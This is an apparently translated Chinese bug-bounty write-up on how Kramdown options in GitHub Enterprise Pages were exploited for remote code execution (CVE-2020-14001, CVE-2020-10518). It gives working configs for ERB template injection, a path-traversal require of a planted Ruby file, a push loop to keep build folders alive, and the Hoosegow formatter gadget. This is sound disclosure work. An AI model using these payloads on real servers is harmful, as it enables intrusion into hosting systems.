0x01 开篇
我一直在关注GitHub企业版的发布说明，主要关注补丁的bug修复。这次，我发现补丁发布对Kramdown中的一个问题进行了关键修复。
CVE-2020-14001的描述很好地总结了漏洞详情以及如何利用：
Ruby 2.3.0版本之前的kramdown gem默认执行Kramdown文档中的模板配置，允许任意的读取访问（比如template=”/etc/passwd）或任意嵌入Ruby代码执行（比如以template=”string://<%= `“开头的字符串）。注意：kramdown在Jekyll、GitLab Pages、GitHub Pages和Thredded Forum中使用。
kramdown的模板选项接受任何文件路径，如果是以string://开头，则会被用作模板内容。由于模板是ERB，这就允许执行任意ruby代码。
为了测试这个问题，我创建了一个新的Jekyll站点，并在_config.yaml中添加了以下内容:
markdown: kramdown
kramdown:
template: string://<%= %x|date| %>
在启动并加载页面后，确实执行了自定义的ERB：
<div class="home">Tue 20 Oct 2020 21:12:08 AEDT
<h2 class="post-list-heading">Posts</h2>
0x02 漏洞发现
我开始寻找Jekyll和Kramdown允许的其他选项，以及它们是否有可能被利用。GitHub Pages使用1.17.0版本的Kramdown，所以我查看了该版本的Kramdown::Options模块，发现simple_hash_validator使用YAML.load，这将有可能通过反序列化来创建任意的ruby对象:
def self.simple_hash_validator(val, name)
if String === val
begin
val = YAML.load(val)
随着这个思路我用syntax_highlighter_opts选项来处理，但是在尝试了几个payload之后，我发现pages_jekyll 会加载safe_yaml，防止YAML.load的反序列化。
几个小时过后，我发现了一个有趣的选项，它在执行creating a new Kramdown::Document时使用，并且还有注释:
Create a new Kramdown document from the string +source+ and use the provided +options+. The
# options that can be used are defined in the Options module.
#
# The special options key :input can be used to select the parser that should parse the
# +source+. It has to be the name of a class in the Kramdown::Parser module. For example, to
# select the kramdown parser, one would set the :input key to +Kramdown+. If this key is not
# set, it defaults to +Kramdown+.
#
# The +source+ is immediately parsed by the selected parser so that the root element is
# immediately available and the output can be generated.
def initialize(source, options = {})
@options = Options.merge(options).freeze
parser = (@options[:input] || 'kramdown').to_s
parser = parser[0..0].upcase + parser[1..-1]
try_require('parser', parser)
if Parser.const_defined?(parser)
@root, @warnings = Parser.const_get(parser).parse(source, @options)
else
raise Kramdown::Error.new("kramdown has no parser to handle the specified input format: #{@options[:input]}")
end
end
所以，当存在:input选项时，会将第一个字母做成大写，然后传给 try_require，类型设置为 parser：
# Try requiring a parser or converter class and don't raise an error if the file is not found.
def try_require(type, name)
require("kramdown/#{type}/#{Utils.snake_case(name)}")
true
rescue LoadError
true
end
由于snake_case的执行只关心字符串，忽略其他的，这意味着有可能存在目录遍历，导致require加载一个不在预定路径上的文件。
我创建了一个内容为system("echo hi > /tmp/ggg")的文件/tmp/evil.rb，然后用下面的_config.yml启动jekyll:
markdown: kramdown
kramdown:
input: ../../../../../../../../../../../../../../../tmp/evil.rb
Jekyll 构建失败并报错jekyll 3.8.5 | Error: wrong constant name ../../../../../../../../../../../../../../../tmp/evil.rb， 但查看/tmp/ 里的内容，发现ruby代码被成功执行：
$ cat /tmp/ggg
hi
0x03 漏洞利用
我在GHE服务器上创建了一个页面仓库，添加了/tmp/evil.rb，同样成功得到执行。接下来要做的就是想办法把ruby文件放到一个已知的位置，并作为payload使用。我使用perf-tools的opensnoop工具，在github构建jekyll页面站点时观察路径，发现以下目录：
/data/user/tmp/pages/page-build-23481
/data/user/tmp/pages/pagebuilds/vakzz/jekyll1
第一个是输入目录，第二个是输出目录，但这两个目录都在进程结束后很快被删除，并复制到一个哈希加密的位置。由于输出目录只基于用户和仓库名，结构相对简单，只需要想办法让它比正常情况下持续的时间更久即可。
我使用dd if=/dev/zero of=file.out bs=1000000 count=100创建了五个 100mb 的文件code.rb并将它们作为payload添加到 jekyll 站点，然后通过while true; do git add -A . && git commit --amend -m aa && git push -f; done创建循环。再次观察/data/user/tmp/pages/pagebuilds/vakzz/jekyll1目录，发现它存在的时间变长了。
接着创建一个新的站点，并包含一个恶意的input，指向jeykll构建的第一个文件夹：
markdown: kramdown
kramdown:
input: ../../../../../../../../../../../../../../../data/user/tmp/pages/pagebuilds/vakzz/jeykll1/code.rb
然后把那个仓库也设置成循环的推送和构建。大约一分钟后，文件出现了!
$ ls -asl /tmp/ | grep ggg
4 -rw-r--r-- 1 pages pages 3 Aug 19 13:58 ggg4
我写好漏洞报告，将其发送给GitHub，报告以惊人的速度进行了分流（30分钟内）。几个小时后，我收到回复，说他们正在努力强化Kramdown选项，并询问是否知道还有其他应该被限制的选项。
唯一看起来有点可疑的选项是formatter_class (作为syntax_highlighter_opts的一部分设置)，但它只允许字母数字，然后用:Rouge::Formatters.const_get进行查询：
def self.formatter_class(opts = {})
case formatter = opts[:formatter]
when Class
formatter
when /\A[[:upper:]][[:alnum:]_]*\z/
::Rouge::Formatters.const_get(formatter)
当时我认为这是安全的，但还是把它同simple_hash_validator 一起进行了提交。
第二天晚上，我研究了一下::Rouge::Formatters.const_get的实际工作原理。结果发现，它并不像我原来想的那样，把常量限制在::Rouge::Formatters上，而是可以返回任何定义过的常量或类。虽然正则仍然有限制（不允许使用::），但仍然可以用来返回类。一旦找到了常量，它就会被用来创建一个新的实例，然后调用format方法:
formatter = formatter_class(opts).new(opts)
formatter.format(lexer.lex(text))
为了测试这一点，我用如下的_config.yml，然后建立网站:
kramdown:
syntax_highlighter: rouge
syntax_highlighter_opts:
formatter: CSV
虽然报了错，但错误信息显示CVS类已经被创建了!
jekyll 3.8.5 | Error: private method 'format' called for #<CSV:0x00007fe0d195bd48>
我在报告中添加了一个评论，表明formatter选项肯定应该被限制，我会继续研究它是否可被利用。
现在，我能够创建一个顶级的ruby对象，它的初始化器取单一的哈希值，而且我们对哈希值的内容有相当大的控制权。我花了一点时间在google和ruby中测试如何获得一个常量列表，然后得出了下面的脚本：
require "bundler"
Bundler.require
methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name =~ /\A[[:upper:]][[:alnum:]_]*\z/ }
methods.each do |m|
begin
puts "trying #{m[:ob]}"
m[:ob].new({a:1, b:2})
puts "worked\n\n"
rescue ArgumentError
puts "nope\n\n"
rescue NoMethodError
puts "nope\n\n"
rescue => e
p e
puts "maybe\n\n"
end
end
该脚本基本上能找到所有符合正则的常量，并尝试使用哈希创建一个新的实例。我登录到GHE服务器，进入页面目录并运行脚本。只有部分显示worked或者maybe，大部分显示StandardError。
我盯着类的列表，看看初始化器中发生了什么，一开始没有找到有趣的东西，直到看到这个：
trying Hoosegow
#<Hoosegow::InmateImportError: inmate file doesn't exist>
maybe
这里看起来很有希望成为切入点! Hoosegow initialize method的初始化方法如下：
def initialize(options = {})
options = options.dup
@no_proxy = options.delete(:no_proxy)
@inmate_dir = options.delete(:inmate_dir) || '/hoosegow/inmate'
@image_name = options.delete(:image_name)
@ruby_version = options.delete(:ruby_version) || RUBY_VERSION
@docker_options = options
load_inmate_methods
load_inmate_methods 方法如下:
def load_inmate_methods
inmate_file = File.join @inmate_dir, 'inmate.rb'
unless File.exist?(inmate_file)
raise Hoosegow::InmateImportError, "inmate file doesn't exist"
end
require inmate_file
这真是太完美了! 由于可以在options哈希中添加任何东西，这将允许传递我们自己的inmate_dir目录，然后需要做的就是在那里等待一个恶意的 inmate.rb文件。
按照之前相同的过程，我编辑了_config.yml，内容如下:
kramdown:
syntax_highlighter: rouge
syntax_highlighter_opts:
formatter: Hoosegow
inmate_dir: /tmp/
然后在GHE服务器上成功创建了带有payload的/tmp/inmate.rb文件，并被推送到jekyll网站。几秒钟后，该文件被获取，payload也成功得到执行!
最终，这个被命名为CVE-2020-10518的漏洞得到了修复，我也获得了$25000的赏金。
发表评论
您还未登录，请先登录。
登录